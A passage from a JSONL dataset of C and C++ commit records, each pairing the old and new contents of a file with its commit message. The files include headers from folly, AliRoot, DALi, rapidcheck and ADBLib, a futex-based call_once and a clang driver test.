short nCode);\n\n    \/\/\/ <summary>Handles WM_NOTIFY messages.<\/summary>\n    \/\/\/ <param name=\"nHdr\">Notification header structure<\/param>\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\nprotected:\n    int _id;\n    HWND _hWnd;\n    HWND _parent;\n\nprotected:\n    static const int MAX_EDITSTR = 0x4000;\n};","subject":"Allow some control methods to be overridden","message":"Allow some control methods to be overridden\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"0b5c508e9e99e80dcab97b0a45bcf3d2cde5fbb5","old_file":"7segments.c","new_file":"7segments.c","old_contents":"#define L(u,v)c=a[1];for(;*c;)printf(\"%c%c%c%c\",y&u?124:32,y&v?95:32,(y=\"|O6VYNnX~^\"[*c++-48]+1)&u*2?124:32,c[1]?32:10);\nmain(int y,int**a){char*L(0,1)L(8,2)L(32,4)}","new_contents":"#define L(u)c=a[1];for(;*c;)printf(\"%c%c%c%c\",y&u\/4?124:32,y&u?95:32,(y=\"v#\\\\l-jz$~n\"[*c++-48]+1)&u\/2?124:32,c[1]?32:10);\nmain(int y,int**a){char*L(1)L(8)L(64)}","subject":"Use an optimized 7 segment table","message":"Use an optimized 7 segment table\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"d08c45269a965a29bde2f73ab03cbdae45e7dcc8","old_file":"HLT\/PHOS\/AliHLTPHOSValidCellDataStruct.h","new_file":"HLT\/PHOS\/AliHLTPHOSValidCellDataStruct.h","old_contents":"#ifndef ALIHLTPHOSVALIDCELLDATASTRUCT_H\n#define ALIHLTPHOSVALIDCELLDATASTRUCT_H \n\n\/***************************************************************************\n * Copyright(c) 2007, ALICE Experiment at CERN, All rights reserved.       *\n *                                                                         *\n * Author: Per Thomas Hille <perthi@fys.uio.no> for the ALICE HLT Project. *\n * Contributors are mentioned in the code where appropriate.               *\n *                                                                         *\n * Permission to use, copy, modify and distribute this software and its    *\n * documentation strictly for non-commercial purposes is hereby granted    *\n * without fee, provided that the above copyright notice appears in all    *\n * copies and that both the copyright notice and this permission notice    *\n * appear in the supporting documentation. The authors make no claims      *\n * about the suitability of this software for any purpose. It is           *\n * provided \"as is\" without express or implied warranty.                   *\n **************************************************************************\/\n\n#include \"AliHLTDataTypes.h\"\n\n\nstruct AliHLTPHOSValidCellDataStruct\n{\n  AliHLTUInt16_t fRow;\n  AliHLTUInt16_t fCol;\n  AliHLTUInt16_t fGain;\n  Float_t fEnergy;\n  Float_t fTime;\n};\n\n\n#endif\n","new_contents":"#ifndef ALIHLTPHOSVALIDCELLDATASTRUCT_H\n#define ALIHLTPHOSVALIDCELLDATASTRUCT_H \n\n\/***************************************************************************\n * Copyright(c) 2007, ALICE Experiment at CERN, All rights reserved.       *\n *                                                                         *\n * Author: Per Thomas Hille <perthi@fys.uio.no> for the ALICE HLT Project. *\n * Contributors are mentioned in the code where appropriate.               *\n *                                                                         *\n * Permission to use, copy, modify and distribute this software and its    *\n * documentation strictly for non-commercial purposes is hereby granted    *\n * without fee, provided that the above copyright notice appears in all    *\n * copies and that both the copyright notice and this permission notice    *\n * appear in the supporting documentation. The authors make no claims      *\n * about the suitability of this software for any purpose. It is           *\n * provided \"as is\" without express or implied warranty.                   *\n **************************************************************************\/\n\n#include \"AliHLTDataTypes.h\"\n#include \"Rtypes.h\"\n\nstruct AliHLTPHOSValidCellDataStruct\n{\n  \/\/  AliHLTUInt16_t fRow;\n  \/\/  AliHLTUInt16_t fCol;\n\n  \/\/  AliHLTUInt16_t fZ;\n  \/\/ AliHLTUInt16_t fX;\n\n  \/\/  AliHLTUInt16_t fGain;\n\n  \/\/  int fZ;\n  \/\/  int fX;\n\n  \/\/  Int_t fZ;\n  \/\/  Int_t fX;\n  AliHLTUInt8_t fZ;\n  AliHLTUInt8_t fX;\n\n  \/\/  AliHLTUInt16_t fGain;\n  \/\/\/  int fGain;\n  \/\/  Int_t fGain;\n  AliHLTUInt8_t fGain;\n\n  Float_t fEnergy;\n  Float_t fTime;\n};\n\n\n#endif\n","subject":"Change of types used for RcuX\/Z coordinate.","message":"Change of types used for RcuX\/Z coordinate.\n\n","lang":"C","license":"bsd-3-clause","repos":"ecalvovi\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot"}
{"commit":"c1fdc0701a0eb9cfb0a6e64ca80ae5927f017df7","old_file":"doc\/dali-adaptor-doc.h","new_file":"doc\/dali-adaptor-doc.h","old_contents":"#ifndef __DALI_ADAPTOR_DOC_H__\n#define __DALI_ADAPTOR_DOC_H__\n\n\/**\n * @defgroup dali_adaptor DALi Adaptor\n *\n * @brief This module is a platform adaptation layer. It initializes and sets up DALi appropriately.\n * The module provides many platform-related services with its internal module,\n * platform abstraction. Several signals can be connected to it to keep you informed when\n * certain platform-related activities occur.\n *\n * @ingroup dali\n * @{\n *   @defgroup dali_adaptor_framework Adaptor Framework\n *   @brief Classes for the adaption layer.\n * @}\n *\/\n\n#endif  \/* __DALI_ADAPTOR_DOC_H__ *\/\n","new_contents":"#ifndef __DALI_ADAPTOR_DOC_H__\n#define __DALI_ADAPTOR_DOC_H__\n\n\/*\n * Copyright (c) 2016 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n\/**\n * @defgroup dali_adaptor DALi Adaptor\n *\n * @brief DALi Adaptor is a platform adaptation layer.\n *\n * It initializes and sets up DALi appropriately and\n * provides many platform-related services with its internal module,\n * platform abstraction. Several signals can be connected to it to keep you informed when\n * certain platform-related activities occur.\n *\n * @section dali_adaptor_overview Overview\n *\n * DALi Adaptor consists of the following groups of API:\n *\n * <table>\n * <tr>\n *    <th>API Group<\/th>\n *    <th>Description<\/th>\n * <\/tr>\n * <tr>\n *    <td>@ref dali_adaptor_framework<\/td>\n *    <td>Classes for the adaption layer.<\/td>\n * <\/tr>\n * <\/table>\n *\n * @ingroup dali\n * @{\n *   @defgroup dali_adaptor_framework Adaptor Framework\n *   @brief Classes for the adaption layer.\n * @}\n *\/\n\n#endif  \/* __DALI_ADAPTOR_DOC_H__ *\/\n","subject":"Update doxygen groups and overview description","message":"Update doxygen groups and overview description\n\n- Update overview of DALi adaptor\n\nChange-Id: Iede36ea40f2a8a85acf0fbe00ab886aaecdc0af0\n","lang":"C","license":"apache-2.0","repos":"dalihub\/dali-adaptor,dalihub\/dali-adaptor,dalihub\/dali-adaptor,dalihub\/dali-adaptor,dalihub\/dali-adaptor"}
{"commit":"99366f9878db5f01b0ce1f032af11748401ecbc2","old_file":"folly\/portability\/Krb5.h","new_file":"folly\/portability\/Krb5.h","old_contents":"","new_contents":"\/*\n * Copyright 2016-present Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n\/\/ Bring in MAXPATHLEN so kerberos doesn't make up its\n\/\/ own defintion of it.\n#include <folly\/portability\/Stdlib.h>\n\n#include <folly\/portability\/Windows.h>\n\n#include <gssapi\/gssapi_generic.h>\n#include <gssapi\/gssapi_krb5.h>\n#include <krb5.h> \/\/ @manual\n\n\/\/ Kerberos defines a bunch of things that we implement as actual\n\/\/ functions, so undefine whatever mess kerberos has done.\n#undef strcasecmp\n#undef strncasecmp\n#undef strdup\n#undef strtok_r\n","subject":"Add a kerberos portability header","message":"Add a kerberos portability header\n\nSummary: Kerberos has issues with include order on Windows, so give it it's own portability header to force the correct include order and undefine the mess it `#define`'s.\n\nReviewed By: yfeldblum\n\nDifferential Revision: D8050238\n\nfbshipit-source-id: 6c718f8f0db9f039734bead5f90cd289ea1dfd78\n","lang":"C","license":"apache-2.0","repos":"facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly"}
{"commit":"6c4c0708feb40b0474ec83af1402a5483b08086c","old_file":"include\/scratch\/bits\/concurrency\/once-flag.h","new_file":"include\/scratch\/bits\/concurrency\/once-flag.h","old_contents":"#pragma once\n\n#include \"scratch\/bits\/concurrency\/condition-variable.h\"\n#include \"scratch\/bits\/concurrency\/mutex.h\"\n#include \"scratch\/bits\/concurrency\/unique-lock.h\"\n\n#include <utility>\n\nnamespace scratch {\n\nclass once_flag {\n    static constexpr int UNDONE = 0;\n    static constexpr int IN_PROGRESS = 1;\n    static constexpr int DONE = 2;\n\n    mutex m_mtx;\n    condition_variable m_cv;\n    int m_flag;\npublic:\n    constexpr once_flag() noexcept : m_flag(UNDONE) {}\n\n    template<class F, class... Args>\n    void call_once(F&& f, Args&&... args)\n    {\n        unique_lock<mutex> lk(m_mtx);\n        while (m_flag == IN_PROGRESS) {\n            m_cv.wait(lk);\n        }\n        if (m_flag == UNDONE) {\n            m_flag = IN_PROGRESS;\n            lk.unlock();\n            try {\n                std::forward<F>(f)(std::forward<Args>(args)...);\n            } catch (...) {\n                lk.lock();\n                m_flag = UNDONE;\n                m_cv.notify_one();\n                throw;\n            }\n            lk.lock();\n            m_flag = DONE;\n            m_cv.notify_all();\n        }\n    }\n};\n\ntemplate<class F, class... Args>\nvoid call_once(once_flag& flag, F&& f, Args&&... args)\n{\n    flag.call_once(std::forward<F>(f), std::forward<Args>(args)...);\n}\n\n} \/\/ namespace scratch\n","new_contents":"#pragma once\n\n#include \"scratch\/bits\/concurrency\/linux-futex.h\"\n\n#include <atomic>\n#include <utility>\n\nnamespace scratch {\n\nclass once_flag {\n    static constexpr int UNDONE = 0;\n    static constexpr int IN_PROGRESS = 1;\n    static constexpr int DONE = 2;\n\n    std::atomic<int> m_futex;\npublic:\n    constexpr once_flag() noexcept : m_futex(UNDONE) {}\n\n    template<class F, class... Args>\n    void call_once(F&& f, Args&&... args)\n    {\n        int x = UNDONE;\n        while (!m_futex.compare_exchange_weak(x, IN_PROGRESS)) {\n            if (x == DONE) return;\n            futex_wait(&m_futex, IN_PROGRESS);\n            x = UNDONE;\n        }\n        try {\n            std::forward<F>(f)(std::forward<Args>(args)...);\n        } catch (...) {\n            m_futex = UNDONE;\n            futex_wake_one(&m_futex);\n            throw;\n        }\n        m_futex = DONE;\n        futex_wake_all(&m_futex);\n    }\n};\n\ntemplate<class F, class... Args>\nvoid call_once(once_flag& flag, F&& f, Args&&... args)\n{\n    flag.call_once(std::forward<F>(f), std::forward<Args>(args)...);\n}\n\n} \/\/ namespace scratch\n","subject":"Reimplement `call_once` in terms of futex.","message":"Reimplement `call_once` in terms of futex.\n","lang":"C","license":"mit","repos":"Quuxplusone\/from-scratch,Quuxplusone\/from-scratch,Quuxplusone\/from-scratch"}
{"commit":"6f77ba0738ff903bd902312369946c9479f7b1da","old_file":"mainwindow.h","new_file":"mainwindow.h","old_contents":"#ifndef WINDOW_H\n#define WINDOW_H\n\n#include <QWidget>\n#include <QMainWindow>\n#include <QDir>\n#include <QLineEdit>\n#include <QListWidget>\n#include <QComboBox>\n#include <QtSql>\n#include <map>\n\nclass QLabel;\nclass QPushButton;\n\nclass SearchBox: public QLineEdit\n{\n    Q_OBJECT\n\npublic:\n    using QLineEdit::QLineEdit;\n\nprivate:\n    void keyPressEvent(QKeyEvent *evt);\n\nsignals:\n    void inputText(QString searchText);\n\nprivate slots:\n    void recipeFiterChanged(QString newFilter);\n};\n\n\nclass Window : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    Window(QWidget *parent = 0);\n\nprivate slots:\n    void openFile(QListWidgetItem *recipe);\n    void updateRecipesDiplay(QString searchText);\n\nprivate:\n    void resizeEvent(QResizeEvent *event);\n    void createRecipeList();\n    void updateDatabase();\n    void cleanDatabase();\n\n    QList<QListWidgetItem*> getRecipeList(QString searchText);\n    QList<QListWidgetItem*> getAllRecipes();\n    QList<QListWidgetItem*> getMatchingRecipes(QString searchText);\n    std::map<double, QStringList> findMatches(QString text);\n\n    QSqlDatabase db = QSqlDatabase::addDatabase(\"QSQLITE\");\n\n    QMenu *optionsMenu;\n    QAction *updateDb;\n    QAction *cleanDb;\n\n    QWidget *centralWidget;\n    SearchBox *searchBox;\n    QDir currentDir;\n    QListWidget *recipeList;\n    QComboBox *recipeBox;\n    QLabel *numResults;\n    QWebEngineView *webView;\n};\n\n#endif\n","new_contents":"#ifndef WINDOW_H\n#define WINDOW_H\n\n#include <QWidget>\n#include <QMainWindow>\n#include <QDir>\n#include <QLineEdit>\n#include <QListWidget>\n#include <QComboBox>\n#include <QtSql>\n#include <map>\n\nclass QLabel;\nclass QPushButton;\n\nclass SearchBox: public QLineEdit\n{\n    Q_OBJECT\n\npublic:\n    using QLineEdit::QLineEdit;\n\nprivate:\n    void keyPressEvent(QKeyEvent *evt);\n\nsignals:\n    void inputText(QString searchText);\n\nprivate slots:\n    void recipeFiterChanged(QString newFilter);\n};\n\n\nclass Window : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    Window(QWidget *parent = 0);\n\nprivate slots:\n    void openFile(QListWidgetItem *recipe);\n    void updateRecipesDiplay(QString searchText);\n\nprivate:\n    void resizeEvent(QResizeEvent *event);\n    void createRecipeList();\n    void updateDatabase();\n    void cleanDatabase();\n\n    QList<QListWidgetItem*> getRecipeList(QString searchText);\n    QList<QListWidgetItem*> getAllRecipes();\n    QList<QListWidgetItem*> getMatchingRecipes(QString searchText);\n    std::map<double, QStringList> findMatches(QString text);\n\n    QSqlDatabase db = QSqlDatabase::addDatabase(\"QSQLITE\");\n\n    QMenu *optionsMenu;\n    QAction *updateDb;\n    QAction *cleanDb;\n\n    QWidget *centralWidget;\n    SearchBox *searchBox;\n    QDir currentDir;\n    QListWidget *recipeList;\n    QComboBox *recipeBox;\n    QLabel *numResults;\n};\n\n#endif\n","subject":"Remove further references to QWebEngine","message":"Remove further references to QWebEngine\n","lang":"C","license":"mit","repos":"strangetom\/RecipeFinder"}
{"commit":"3e5613cf7dcd4fbeb8ec2283acb7f462b14f964d","old_file":"sapi\/syscalls-chario.c","new_file":"sapi\/syscalls-chario.c","old_contents":"","new_contents":"\/\/\/ \\file syscalls-chario.c\n\/\/\/ \\brief Sockpuppet API System Call functions for character IO\n\/\/\/ \\defgroup SAPI Sockpuppet \n\/\/! \\addtogroup SAPI\n\/\/! @{\n\/\/\/ \n\/\/\n\/\/ Copyright(C) 2011-2014 Robert Sexton\n\/\/\n\/\/ Change History.\n\/\/ API Version 0203.  Add a return code to StreamPutChar for back-pressure.\n\/\/ Re-organize the code to make it less machine specific.\n\/\/ More advanced implementations will need to support both\n\/\/ UARTs and USB and\/or networked comms, so this is an intermediate layer\n#include <stdint.h>\n\n\/\/\/ __SAPI_02_PutChar \n\/\/ The basic putchar, with backpressure.   The called function\n\/\/ should return 0 if there is room for more, or -1 if the app should\n\/\/ throttle the output.\nvoid __SAPI_02_PutChar(uint32_t *frame) {\n\tif (frame[0] < 10 ) {\n\t\tputchar_uart(frame);\n\t\t}\n\t\/\/ Network ports go here.\n\treturn;\n\t}\t \n\n\/\/\/ __SAPI_03_GetChar \n\/\/\/ Pull a character out of the stream of choice\n\/\/\/ This gets called when CharsAvail says there is work to do.\nvoid __SAPI_03_GetChar(long *frame) {\n\tif (frame[0] < 10 ) {\n\t\tgetchar_uart(frame);\n\t\t}\n\t\/\/ Network ports go here.\n\treturn;\n\t}\n\t\n\/\/\/ __SAPI_04_CharsAvail\n\/\/\/ Check to see if there is a char available\nvoid __SAPI_04_CharsAvail(long *frame) {\n\tif (frame[0] < 10 ) {\n\t\tchars_available_uart(frame);\n\t\t}\n\t\/\/ Network ports go here.\n\treturn;\n\t}\t\n","subject":"Create a shim layer for platform-independent UARTs.","message":"Create a shim layer for platform-independent UARTs.","lang":"C","license":"bsd-2-clause","repos":"rbsexton\/sockpuppet,rbsexton\/sockpuppet"}
{"commit":"c24a1c12b24c75827e87e46fd544c63acd648c4d","old_file":"Source\/Models\/FORMFieldValidation.h","new_file":"Source\/Models\/FORMFieldValidation.h","old_contents":"@import Foundation;\n@import CoreGraphics;\n\n@interface FORMFieldValidation : NSObject\n\n@property (nonatomic, getter = isRequired) BOOL required;\n@property (nonatomic) NSUInteger minimumLength;\n@property (nonatomic) NSInteger maximumLength;\n@property (nonatomic) NSString *format;\n@property (nonatomic) CGFloat minimumValue;\n@property (nonatomic) CGFloat maximumValue;\n\n- (instancetype)initWithDictionary:(NSDictionary *)dictionary;\n\n@end\n","new_contents":"@import Foundation;\n@import CoreGraphics;\n\n@interface FORMFieldValidation : NSObject\n\n@property (nonatomic, getter = isRequired) BOOL required;\n@property (nonatomic) NSUInteger minimumLength;\n@property (nonatomic) NSInteger maximumLength;\n@property (nonatomic) NSString *format;\n@property (nonatomic) CGFloat minimumValue;\n@property (nonatomic) CGFloat maximumValue;\n\n- (instancetype)initWithDictionary:(NSDictionary *)dictionary NS_DESIGNATED_INITIALIZER;\n\n@end\n","subject":"Add designated initializer macro to field validation","message":"Add designated initializer macro to field validation\n","lang":"C","license":"mit","repos":"wangmb\/Form,wangmb\/Form,kalsariyac\/Form,kalsariyac\/Form,Jamonek\/Form,steve21124\/Form,0x73\/Form,0x73\/Form,Jamonek\/Form,KevinJacob\/Form,KevinJacob\/Form,steve21124\/Form,kalsariyac\/Form,wangmb\/Form,steve21124\/Form,fhchina\/Form,fhchina\/Form,fhchina\/Form,Jamonek\/Form,KevinJacob\/Form"}
{"commit":"0efa7eda72c851959fa7da2bd084cc9aec310a77","old_file":"src\/ai\/FSMTransition.h","new_file":"src\/ai\/FSMTransition.h","old_contents":"#pragma once\n\n#include \"FSMState.h\"\n\n#define END_STATE_TABLE {nullptr, 0, false} \/\/!< Append this to the end of your state tables; the init function will recognize it and stop searching the table for states.\n\nnamespace ADBLib\n{\n\tclass FSMTransition\n\t{\n\tpublic:\n\t\tFSMState* currentState;\t\/\/!< The current state.\n\t\tint input;\t\t\t\t\/\/!< If this input is recieved and the FSM state is the currentState, transition.\n\t\tFSMState* nextState;\t\/\/!< The next state to transition to.\n\t};\n}\n","new_contents":"#pragma once\n\n#include \"FSMState.h\"\n\n#define END_STATE_TABLE {nullptr, 0, nullptr} \/\/!< Append this to the end of your state tables; the init function will recognize it and stop searching the table for states.\n\nnamespace ADBLib\n{\n\tstruct FSMTransition\n\t{\n\t\tFSMState* currentState;\t\/\/!< The current state.\n\t\tint input;\t\t\t\t\/\/!< If this input is received and the FSM state is the currentState, transition.\n\t\tFSMState* nextState;\t\/\/!< The next state to transition to.\n\t};\n}\n","subject":"Fix END_STATE_TABLE define causing bool -> ptr conversion error","message":"Fix END_STATE_TABLE define causing bool -> ptr conversion error\n","lang":"C","license":"mit","repos":"Dreadbot\/ADBLib,Dreadbot\/ADBLib,Sourec\/ADBLib,Sourec\/ADBLib"}
{"commit":"d8f0276472be810171e1068fccb604765ba55086","old_file":"test\/Driver\/arclite-link.c","new_file":"test\/Driver\/arclite-link.c","old_contents":"\/\/ RUN: touch %t.o\n\/\/ RUN: %clang -### -target x86_64-apple-darwin10 -fobjc-link-runtime -mmacosx-version-min=10.7 %t.o 2>&1 | FileCheck -check-prefix=CHECK-ARCLITE-OSX %s\n\/\/ RUN: %clang -### -target x86_64-apple-darwin10 -fobjc-link-runtime -mmacosx-version-min=10.8 %t.o 2>&1 | FileCheck -check-prefix=CHECK-NOARCLITE %s\n\/\/ RUN: %clang -### -target i386-apple-darwin10 -fobjc-link-runtime -mmacosx-version-min=10.7 %t.o 2>&1 | FileCheck -check-prefix=CHECK-NOARCLITE %s\n\n\/\/ CHECK-ARCLITE-OSX: libarclite_macosx.a\n\/\/ CHECK-ARCLITE-OSX: -lobjc\n\/\/ CHECK-NOARCLITE-NOT: libarclite\n","new_contents":"\/\/ RUN: touch %t.o\n\/\/ RUN: %clang -### -target x86_64-apple-darwin10 -fobjc-link-runtime -mmacosx-version-min=10.7 %t.o 2>&1 | FileCheck -check-prefix=CHECK-ARCLITE-OSX %s\n\/\/ RUN: %clang -### -target x86_64-apple-darwin10 -fobjc-link-runtime -mmacosx-version-min=10.8 %t.o 2>&1 | FileCheck -check-prefix=CHECK-NOARCLITE %s\n\/\/ RUN: %clang -### -target i386-apple-darwin10 -fobjc-link-runtime -mmacosx-version-min=10.7 %t.o 2>&1 | FileCheck -check-prefix=CHECK-NOARCLITE %s\n\n\/\/ CHECK-ARCLITE-OSX: libarclite_macosx.a\n\/\/ CHECK-ARCLITE-OSX: -framework\n\/\/ CHECK-ARCLITE-OSX: Foundation\n\/\/ CHECK-ARCLITE-OSX: -lobjc\n\/\/ CHECK-NOARCLITE-NOT: libarclite\n","subject":"Add a test for svn r155263.","message":"Add a test for svn r155263.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@155353 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c2fb6d3a8316cdc5b54289548f38e24823722175","old_file":"c24\/c24.h","new_file":"c24\/c24.h","old_contents":"#include \"communication\/server_stream.h\"\n#include \"communication\/stream.h\"\n#include \"communication\/stream_backend_interface.h\"\n#include \"communication\/stream_tcp.h\"\n#include \"communication\/stream_tcp_client.h\"\n#include \"communication\/stream_tcp_server.h\"\n#include \"toolbar\/print_variables.h\"\n#include \"toolbar\/sfgui.h\"\n","new_contents":"#include \"communication\/server_stream.h\"\n#include \"communication\/status.h\"\n#include \"communication\/stream.h\"\n#include \"communication\/stream_backend_interface.h\"\n#include \"communication\/stream_tcp.h\"\n#include \"communication\/stream_tcp_client.h\"\n#include \"communication\/stream_tcp_server.h\"\n#include \"toolbar\/print_variables.h\"\n#include \"toolbar\/sfgui.h\"\n","subject":"Add status.h among the included headers.","message":"Add status.h among the included headers.\n","lang":"C","license":"mit","repos":"simsa-st\/contest24,simsa-st\/contest24,simsa-st\/contest24,simsa-st\/contest24"}
{"commit":"acb1a34584a2f31dbe59b77d48f782042293b049","old_file":"include\/ieeefp.h","new_file":"include\/ieeefp.h","old_contents":"\/*\t$NetBSD: ieeefp.h,v 1.4 1998\/01\/09 08:03:43 perry Exp $\t*\/\n\n\/* \n * Written by J.T. Conklin, Apr 6, 1995\n * Public domain.\n *\/\n\n#ifndef _IEEEFP_H_\n#define _IEEEFP_H_\n\n#include <sys\/cdefs.h>\n#include <machine\/ieeefp.h>\n\n#ifdef __i386__\n#include <machine\/floatingpoint.h>\n#else \/* !__i386__ *\/\nextern fp_rnd    fpgetround __P((void));\nextern fp_rnd    fpsetround __P((fp_rnd));\nextern fp_except fpgetmask __P((void));\nextern fp_except fpsetmask __P((fp_except));\nextern fp_except fpgetsticky __P((void));\nextern fp_except fpsetsticky __P((fp_except));\n#endif \/* __i386__ *\/\n\n#endif \/* _IEEEFP_H_ *\/\n","new_contents":"\/*\t$NetBSD: ieeefp.h,v 1.4 1998\/01\/09 08:03:43 perry Exp $\t*\/\n\n\/* \n * Written by J.T. Conklin, Apr 6, 1995\n * Public domain.\n *\/\n\n#ifndef _IEEEFP_H_\n#define _IEEEFP_H_\n\n#include <sys\/cdefs.h>\n#include <machine\/ieeefp.h>\n\n#ifdef __i386__\n#include <machine\/floatingpoint.h>\n#else \/* !__i386__ *\/\n__BEGIN_DECLS\nextern fp_rnd    fpgetround __P((void));\nextern fp_rnd    fpsetround __P((fp_rnd));\nextern fp_except fpgetmask __P((void));\nextern fp_except fpsetmask __P((fp_except));\nextern fp_except fpgetsticky __P((void));\nextern fp_except fpsetsticky __P((fp_except));\n__END_DECLS\n#endif \/* __i386__ *\/\n\n#endif \/* _IEEEFP_H_ *\/\n","subject":"Allow fpsetmask(3) and friends to be used from a C++ program on the Alpha.","message":"Allow fpsetmask(3) and friends to be used from a C++ program on the Alpha.\n\nReviewed by:\tdfr\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"cec1dca33ecc1716d111ad5a8978342913950d5a","old_file":"include\/rapidcheck\/detail\/Meta.h","new_file":"include\/rapidcheck\/detail\/Meta.h","old_contents":"","new_contents":"#pragma once\n\nnamespace rc {\nnamespace detail {\n\n\/\/! We don't want to require C++14 so we make our own version of this.\ntemplate<typename T, T ...Ints> struct IntSequence;\n\n\/\/! If T == std::size_t\ntemplate<std::size_t ...Ints>\nusing IndexSequence = IntSequence<std::size_t, Ints...>;\n\ntemplate<typename Sequence, std::size_t N>\nstruct MakeIntSequenceImpl;\n\ntemplate<typename IntT>\nstruct MakeIntSequenceImpl<IntSequence<IntT>, 0>\n{\n    typedef IntSequence<IntT> Sequence;\n};\n\ntemplate<typename IntT, IntT ...Ints>\nstruct MakeIntSequenceImpl<IntSequence<IntT, 0, Ints...>, 0>\n{\n    typedef IntSequence<IntT, 0, Ints...> Sequence;\n};\n\ntemplate<typename IntT, IntT ...Ints, std::size_t N>\nstruct MakeIntSequenceImpl<IntSequence<IntT, Ints...>, N>\n{\n    typedef typename MakeIntSequenceImpl<\n        IntSequence<IntT, N - 1, Ints...>, N - 1>::Sequence Sequence;\n};\n\n\/\/! Creates an `IntSequence` from 0 to N exclusive.\ntemplate<typename T, T N>\nusing MakeIntSequence =\n    typename MakeIntSequenceImpl<IntSequence<T>, N>::Sequence;\n\n\/\/! Alias for MakeIntSequence<std::size_t, N>\ntemplate<std::size_t N>\nusing MakeIndexSequence = MakeIntSequence<std::size_t, N>;\n\n} \/\/ namespace detail\n} \/\/ namespace rc\n","subject":"Add integer sequence TMP utilities","message":"Add integer sequence TMP utilities\n","lang":"C","license":"bsd-2-clause","repos":"emil-e\/rapidcheck,tm604\/rapidcheck,whoshuu\/rapidcheck,emil-e\/rapidcheck,tm604\/rapidcheck,whoshuu\/rapidcheck,whoshuu\/rapidcheck,unapiedra\/rapidfuzz,unapiedra\/rapidfuzz,emil-e\/rapidcheck,unapiedra\/rapidfuzz,tm604\/rapidcheck"}
{"commit":"965703d6abaaf700e4c5307597b7f298843b0e32","old_file":"src\/lib-fts\/fts-filter-private.h","new_file":"src\/lib-fts\/fts-filter-private.h","old_contents":"#ifndef FTS_FILTER_PRIVATE_H\n#define FTS_FILTER_PRIVATE_H\n\n#define FTS_FILTER_CLASSES_NR 3\n\n\/*\n API that stemming providers (classes) must provide: The register()\n function is called when the class is registered via\n fts_filter_register() The create() function is called to get an\n instance of a registered filter class.  The destroy function is\n called to destroy an instance of a filter.\n\n*\/\nstruct fts_filter_vfuncs {\n\tint (*create)(const struct fts_language *lang,\n\t              const char *const *settings,\n\t              struct fts_filter **filter_r,\n\t              const char **error_r);\n\tint (*filter)(struct fts_filter *filter, const char **token,\n\t\t      const char **error_r);\n\n\tvoid (*destroy)(struct fts_filter *filter);\n};\n\nstruct fts_filter {\n\tconst char *class_name; \/* name of the class this is based on *\/\n\tconst struct fts_filter_vfuncs 